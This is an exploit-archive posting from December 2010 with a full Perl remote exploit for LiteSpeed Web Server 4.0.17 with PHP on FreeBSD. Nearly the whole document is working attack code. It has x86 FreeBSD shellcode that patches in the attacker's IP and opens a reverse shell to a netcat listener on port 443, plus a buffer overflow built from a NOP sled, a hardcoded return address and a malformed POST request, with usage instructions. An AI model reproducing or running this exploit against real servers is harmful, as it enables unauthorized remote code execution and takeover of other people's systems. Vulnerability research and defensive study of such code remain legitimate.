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LiteSpeed Web Server 4.0.17 Remote Exploit

LiteSpeed Web Server 4.0.17 Remote Exploit
Posted Dec 10, 2010
Authored by Kingcope

LiteSpeed Web Server version 4.0.17 with PHP remote exploit for FreeBSD that uses a reverse shell.

tags | exploit, remote, web, shell, php
systems | freebsd
SHA-256 | b0012b61c33fd5c2dc2a099bfb8c36b4de98d5171a58428b919cf7223ecaadd4

LiteSpeed Web Server 4.0.17 Remote Exploit

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# LiteSpeed Web Server 4.0.17 w/ PHP Remote Exploit for FreeBSD
# bug discovered & exploited by Kingcope
#
# Dec 2010
# Lame Xploit Tested with success on
# FreeBSD 8.0-RELEASE - LiteSpeed WebServer 4.0.17 Standard & Enterprise x86
# FreeBSD 6.3-RELEASE - LiteSpeed WebServer 4.0.17 Standard & Enterprise x86
# FreeBSD 8.0-RELEASE - LiteSpeed WebServer 4.0.15 Standard x86
# can be used against the admin interface (port 7080), too
# Xploit only works on default lsphp binary not the compiled version
#
# this should be exploitable on linux too (on the compiled SAPI version)
# the shipped linux version of lsphp has stack cookies enabled,
# which could be brute forced if there wasn't a null put at the end of
# the exploit buffer. The compiled SAPI version is exploitable, but then
# the offsets differ from box to box, so this time FreeBSD targets only.
# thus on linux this is very tricky to exploit.
# this is a proof of concept, don't try this on real boxes
# see lsapilib.c line 1240

use IO::Socket;

$|=1;

#freebsd reverse shell port 443
#setup a netcat on this port ^^
$bsdcbsc =
# setreuid, no root here
"\x31\xc0\x31\xc0\x50\x31\xc0\x50\xb0\x7e\x50\xcd\x80".
# connect back :>
"\x31\xc0\x31\xdb\x53\xb3\x06\x53".
"\xb3\x01\x53\xb3\x02\x53\x54\xb0".
"\x61\xcd\x80\x31\xd2\x52\x52\x68".
"\x41\x41\x41\x41\x66\x68\x01\xbb".
"\xb7\x02\x66\x53\x89\xe1\xb2\x10".
"\x52\x51\x50\x52\x89\xc2\x31\xc0".
"\xb0\x62\xcd\x80\x31\xdb\x39\xc3".
"\x74\x06\x31\xc0\xb0\x01\xcd\x80".
"\x31\xc0\x50\x52\x50\xb0\x5a\xcd".
"\x80\x31\xc0\x31\xdb\x43\x53\x52".
"\x50\xb0\x5a\xcd\x80\x31\xc0\x43".
"\x53\x52\x50\xb0\x5a\xcd\x80\x31".
"\xc0\x50\x68\x2f\x2f\x73\x68\x68".
"\x2f\x62\x69\x6e\x89\xe3\x50\x54".
"\x53\x50\xb0\x3b\xcd\x80\x31\xc0".
"\xb0\x01\xcd\x80";

sub usage() {
print "written by kingcope\n";
print "usage:\n".
"litespeed-remote.pl <target ip/host> <target port> <your ip> <php file on remote host>\n\n".
"example:\n".
"perl litespeed-remote.pl 192.168.2.3 8088 192.168.2.2 phpinfo.php\n\n";

exit;
}

if ($#ARGV ne 3) { usage; }

$target = $ARGV[0];
$port = $ARGV[1];
$cbip = $ARGV[2];
$file = $ARGV[3];

($a1, $a2, $a3, $a4) = split(//, gethostbyname("$cbip"));

substr($bsdcbsc, 37, 4, $a1 . $a2 . $a3 . $a4);

#my $sock = IO::Socket::INET->new(PeerAddr => $target,
# PeerPort => 8088,
# Proto => 'tcp');
#$a = "A" x 500;
#print $sock "POST /phpinfo.php HTTP/1.1\r\nHost: 192.168.2.5\r\n\r\n";

#$x = <stdin>;

#$ret = pack("V", 0x28469478); # FreeBSD 7.3-RELEASE
#$ret = pack("V", 0x82703c0); # FreeBSD 6.3-RELEASE
$ret = pack("V", 0x080F40CD); # JMP EDX lsphp

my $sock = IO::Socket::INET->new(PeerAddr => $target,
PeerPort => $port,
Proto => 'tcp');


$a = "A" x 263 . "AAAA" x 6 . $ret . "C" x 500;
$sc = "\x90" x 3000 . $bsdcbsc;

print $sock "POST /\x90\x90\x90\x90\x90\x90\xeb\x50/../$file? HTTP/1.1\r\nHost: $target\r\nVVVV: $sc\r\n$a KINGCOPEH4XXU:\r\n\r\n";

while (<$sock>) {
print;
}
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